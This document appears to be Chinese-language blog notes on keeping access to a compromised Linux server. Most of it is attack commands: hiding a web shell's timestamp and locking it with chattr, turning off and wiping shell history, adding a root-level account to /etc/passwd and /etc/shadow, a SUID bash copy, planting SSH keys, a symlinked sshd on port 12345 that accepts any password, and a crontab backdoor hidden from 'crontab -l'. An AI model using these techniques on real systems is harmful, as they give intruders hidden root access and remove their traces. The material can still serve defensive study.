写于2023-10-12 14:32
touch -r index.php shell.php #将shell.php文件的时间戳修改为inedx.php的时间戳
通过chattr
命令来防止文件被删除或者被修改,这个权限通过ls -l
无法查看出来
chattr +i shell.php #锁定文件,让shell.php无法进行删除或者修改
chattr -i shell.php #解除锁定
lsattr shell.php #查看shell.php的属性
经过测试,chattr命令只有在root权限下才能正常执行
[space]set +o history #[space]表示空格
执行了这个命令之后,包括此命令以及往后的所有操作,都不会被记录下来
[speace]set -o history #开启历史记录的操作
history -d 5 #删除行号为5的历史记录
sed -i '150,$d' .bash_history #只保留前150行
对于老版本的linux来讲,密码会存放在p/etc/passwd
文件里面,对于新版本的linux系统密码会存放在/etc/shadow
文件里面
老版本方法:
echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd #老版本linux添加一个超级用户
新版本方法:
echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级⽤户账号
passwd cshm #修改cshm的密码echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
直接useradd
也可以
这个主要是用于提权的后门
关于什么是suid权限不再多述,在linux提权的内容已经讲过。
在这里面我们主要是在root权限下创建一个/bin/bash
程序,然后赋予suid权限
cp /bin/bash /tmp/.tmp
chmod +s /tmp/.tmp
使用一般用户运行
/tmp/.tmp -p #由于base2有一些保护机制,需要使用-p参数来获取一个root权限的shell
查看系统具有suid权限的程序
find / -perm -u=s -type f 2>/dev/null
公私钥就是攻击者在自己电脑上面生成了一个ssh公私钥对,然后将公钥导入到靶机上面,进而可以通过私钥链接到靶机
ssh-keygen -t rsa //⽣成公钥
cat id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到⽬标.ssh/authorized_keys⾥
主机存在ssh服务
ssh允许使用密钥登入,可以修改/etc/ssh/sshd_config
文件,如下配置
RSAAuthentication yes
PubkeyAuthentication yes
关于ssh服务公私钥的更多详细内容:http://t.csdnimg.cn/uFsTy
使用ssh
命令进行登入linux系统
ssh [email protected] #用户名为root
ssh -i id_rsa [email protected] #-i 命令指定私钥文件
软连接介绍:https://www.cnblogs.com/sueyyyy/p/10985443.html
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
软链接到/usr/local/su
文件,也可以到其他目录,但是su的文件名不能改变,并且指定到12345端口,登入的时候密码任意
ssh [email protected] -p 12345
如果创建软链接的时候,使用了其他账号创建,那么登入的时候就使用该账号登入
ssh配置需要允许root密码登入:sshd_config文件PermitRootLogin yes
以及PasswordAuthentication yes
设置好之后,使用service ssh restart
重启ssh服务
另外这个方法登入仍然能被记录到登入日志中去,通过last
命令查看ssh登入日志,
这个我也没搞太明白,大概需要详细了解pam认证机制,这里有一个详细的介绍:https://www.cnblogs.com/websec80/articles/14424309.html
关于计划任务是什么不再赘述
常用命令
crontab -e #编辑计划任务
crontab -l #查看当前用户的计划任务
计划任务里面的配置文件有很多,可以通过ls /etc | grep cron
命令查看,但是我们直接通过crontab -e
编辑的计划任务并不在这些文件里面,而是在/var/spool/cron/crontabs
里面
往crontab配置里面添加一个计划任务
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -
对于这个方法可以通过crontab -l
来查看,但是通过下面这个方法可以达到隐藏的效果
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
通过上面的这个方法输入crontab -l
就会出现如下输出
但是通过crontab -e
仍然能够查看到,但是通过cat
命令查看是看不到的
这个就是用一个带有后门的openssh替换掉原本的openssh,带有后门的openssh会记录登入的用户名和密码,实际上不如上面的软连接任意密码登入方式。不多赘述